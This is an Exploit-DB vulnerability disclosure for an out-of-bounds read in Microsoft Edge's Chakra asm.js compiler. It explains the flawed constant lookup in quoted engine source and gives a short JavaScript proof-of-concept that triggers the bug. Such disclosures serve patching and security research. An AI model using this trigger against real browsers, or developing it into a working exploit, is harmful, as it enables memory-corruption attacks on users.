# Microsoft Edge Chakra - 'asm.js' Out-of-Bounds Read

#### Date:

###### 2018-01-09

``````/*
Here's a snippet of AsmJSByteCodeGenerator::EmitAsmJsFunctionBody.
AsmJsVar * initSource = nullptr;
if (decl->sxVar.pnodeInit->nop == knopName)
{
AsmJsSymbol * initSym = mCompiler->LookupIdentifier(decl->sxVar.pnodeInit->name(), mFunction);
if (initSym->GetSymbolType() == AsmJsSymbol::Variable)
{
// in this case we are initializing with value of a constant var
initSource = initSym->Cast<AsmJsVar>();
}
...
}
...
if (initSource)
{
if (var->GetType().isDouble())
{
mWriter.AsmReg2(Js::OpCodeAsmJs::Ld_Db, var->GetLocation(), mFunction->GetConstRegister<double>(initSource->GetDoubleInitialiser()));
}

Chakra thinks the PoC is valid asm.js code. What happens when the variable "b" gets initialized is:
1. mCompiler->LookupIdentifier is called with "a" as the first argument. And it returns the local variable "a", which is of type int, but not the double constant "a".
2. mFunction->GetConstRegister fails to find the int value in the double constant table. So it returns -1 which leads OOB read.

PoC:
*/

function createModule() {
'use asm';
const a = 1.0;
function f() {
var b = a;
var a = 0;
}

return f;
}
var f = createModule();
f();
``````
{"ft_lang_label":"__label__en","ft_lang_prob":0.5557301,"math_prob":0.79032063,"size":1139,"snap":"2021-43-2021-49","text_gpt3_token_len":325,"char_repetition_ratio":0.10748899,"word_repetition_ratio":0.0,"special_character_ratio":0.2765584,"punctuation_ratio":0.22885571,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.961904,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-26T18:22:56Z\",\"WARC-Record-ID\":\"<urn:uuid:0df66ebe-c644-4fcf-9efe-64e2d285a401>\",\"Content-Length\":\"151777\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:371e421e-126a-4210-b21c-ba9b310b08a4>\",\"WARC-Concurrent-To\":\"<urn:uuid:568aad5a-c275-4c47-9c2d-e862178d09b5>\",\"WARC-IP-Address\":\"192.124.249.13\",\"WARC-Target-URI\":\"https://www.exploit-db.com/exploits/43468\",\"WARC-Payload-Digest\":\"sha1:USZ6PZLDTVT5VMBGBEWYFF6A7DMC66BI\",\"WARC-Block-Digest\":\"sha1:JXVSEVTT7HEIAXFFQMPBKJG3NTIW4ISX\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323587915.41_warc_CC-MAIN-20211026165817-20211026195817-00037.warc.gz\"}"}